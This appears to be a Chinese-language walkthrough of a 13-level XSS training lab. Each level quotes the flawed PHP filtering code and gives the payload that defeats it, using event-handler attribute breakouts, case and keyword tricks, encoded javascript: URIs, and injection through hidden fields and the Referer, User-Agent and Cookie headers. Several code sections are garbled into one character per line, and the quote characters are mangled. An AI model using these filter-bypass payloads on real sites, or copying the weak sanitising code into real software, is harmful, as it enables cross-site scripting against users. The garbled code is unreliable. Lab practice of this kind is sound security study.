1、普通
window.alert = function()
http://test.ctf8.com/level1.php?name=
2、value
http://test.ctf8.com/level2.php?keyword=”><!–
3、被转义
htmlspecialchars把预定义的字符 “<” (小于)和 “>” (大于)转换为 HTML 实体
& (和号)成为 &
“ (双引号)成为 ”
’ (单引号)成为 ’
> (大于)成为 >
< (小于)成为 <
要把特殊的 HTML 实体转换回字符,请使用 htmlspecialchars_decode() 函数
onfocus #当 input 输入框获取焦点时执行一段 Javascript代码
http://test.ctf8.com/level3.php?keyword=’ οnfοcus=alert(‘ok’)//
http://test.ctf8.com/level3.php?keyword=1’ οnclick=alert(‘ok’)//
http://test.ctf8.com/level3.php?keyword=1’ οnclick=‘alert(1)’
4、被转义后加了括号
$str2=str_replace(“>”,“”,$str);
$str3=str_replace(“<”,“”,$str2);
<input name=keyword value=“‘.$str3.’”>
http://test.ctf8.com/level4.php?keyword=1″ οnclick=alert(1)//
5、过滤
s
t
r
=
s
t
r
t
o
l
o
w
e
r
(
str = strtolower(
s
t
r
=
s
t
r
t
o
l
o
w
er
(
_GET[“keyword”]); #把所有字符转换为小写
s
t
r
2
=
s
t
r
r
e
p
l
a
c
e
(
”
<
s
c
r
i
p
t
”
,
”
<
s
c
r
i
p
t
”
,
str2=str_replace(“<script”,”<scr_ipt”,
s
t
r
2
=
s
t
r
r
e
pl
a
ce
(
”
<
scr
i
pt
”
,
”
<
sc
r
i
pt
”
,
str);
s
t
r
3
=
s
t
r
r
e
p
l
a
c
e
(
”
o
n
”
,
”
o
n
”
,
str3=str_replace(“on”,”o_n”,
s
t
r
3
=
s
t
r
r
e
pl
a
ce
(
”
o
n
”
,
”
o
n
”
,
str2);
<input name=keyword value=“‘.$str3.’”>
http://test.ctf8.com/level5.php?keyword=text”><a href=”javascript:alert(1)
6、过滤
$str2=str_replace(“<script”,“<scr_ipt”,$str);
$str3=str_replace(“on”,“o_n”,$str2);
$str4=str_replace(“src”,“sr_c”,$str3);
$str5=str_replace(“data”,“da_ta”,$str4);
$str6=str_replace(“href”,“hr_ef”,$str5);
<input name=keyword value=“‘.$str6.’”>
http://test.ctf8.com/level6.php?keyword=http://test.ctf8.com/level6.php?keyword=1″ oNcliCk=alert(1)//
7、过滤
ini_set(“display_errors”, 0);
$str =strtolower( $_GET[“keyword”]);
$str2=str_replace(“script”,“”,$str);
$str3=str_replace(“on”,“”,$str2);
$str4=str_replace(“src”,“”,$str3);
$str5=str_replace(“data”,“”,$str4);
$str6=str_replace(“href”,“”,$str5);
<input name=keyword value=“‘.$str6.’”>
http://test.ctf8.com/level7.php?keyword=keyword=1″ oonNcliCk=alert(1)//
8、
ini_set(“display_errors”, 0);
$str = strtolower($_GET[“keyword”]);
$str2=str_replace(“script”,“scr_ipt”,$str);
$str3=str_replace(“on”,“o_n”,$str2);
$str4=str_replace(“src”,“sr_c”,$str3);
$str5=str_replace(“data”,“da_ta”,$str4);
$str6=str_replace(“href”,“hr_ef”,$str5);
$str7=str_replace(‘”’,‘"’,$str6);
<input name=keyword value=“‘.htmlspecialchars($str).’”>
echo ‘<center><BR><a href=”’.$str7.‘”>友情链接</a></center>’;
javascript:alert(111)
r为r转码后 javascript:alert(1),页面是识别ASCLL码的,遇到value=”a”过滤可以直接尝试转码http://www.jsons.cn/ascii/
9、
ini_set(“display_errors”, 0);
$str = strtolower($_GET[“keyword”]);
$str2=str_replace(“script”,“scr_ipt”,$str);
$str3=str_replace(“on”,“o_n”,$str2);
$str4=str_replace(“src”,“sr_c”,$str3);
$str5=str_replace(“data”,“da_ta”,$str4);
$str6=str_replace(“href”,“hr_ef”,$str5);
$str7=str_replace(‘”’,‘"’,$str6);
<input name=keyword value=”‘.htmlspecialchars(
s
t
r
)
.
′
”
>
i
f
(
f
a
l
s
e
=
=
=
s
t
r
p
o
s
(
str).'”> if(false===strpos(
s
t
r
)
.
′
”
>
i
f
(
f
a
l
se
===
s
t
r
p
os
(
str7,‘http://’))
javascript:http://www.0aa.me%0dalert(‘ok’)
javascript:http://%0dalert(123)
10、F12
ini_set(“display_errors”, 0);
$str = $_GET[“keyword”];
$str11 = $_GET[“t_sort”];
$str22=str_replace(“>”,“”,$str11);
$str33=str_replace(“<”,“”,$str22);
<input name=“t_sort” value=“‘.$str33.’” type=“hidden”>
<input name=“t_sort” value=“123” type=“text” οnclick=alert(1)>
11、F12、捕包
ini_set(“display_errors”, 0);
$str = $_GET[“keyword”];
$str00 = $_GET[“t_sort”];
$str11=$_SERVER[‘HTTP_REFERER’];
$str22=str_replace(“>”,“”,$str11);
$str33=str_replace(“<”,“”,$str22);
<input name=“t_ref” value=“‘.$str33.’” type=“hidden”>
<input name=“t_ref” value=“http://test.ctf8.com/level10.php?1
%22%20oNcliCk=alert(1)//” type=“text” οnclick=alert(1) >
Referer: ” type=“text” οnclick=”alert(1)
12、F12、捕包
ini_set(“display_errors”, 0);
$str = $_GET[“keyword”];
$str00 = $_GET[“t_sort”];
$str11=$_SERVER[‘HTTP_USER_AGENT’];
$str22=str_replace(“>”,“”,$str11);
$str33=str_replace(“<”,“”,$str22);
<input name=“t_ua” value=“‘.$str33.’” type=“hidden”>
<input name=“t_ua” value=“Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0” type=“text” οnclick=alert(1) >
13、F12、捕包
ini_set(“display_errors”, 0);
$str = $_GET[“keyword”];
$str00 = $_GET[“t_sort”];
$str11=$_COOKIE[“user”];
$str22=str_replace(“>”,“”,$str11);
$str33=str_replace(“<”,“”,$str22);
<input name=“t_cook” value=“‘.$str33.’” type=“hidden”>
<input name=“t_cook” value=“call me maybe?” type=“text” οnclick=alert(1) >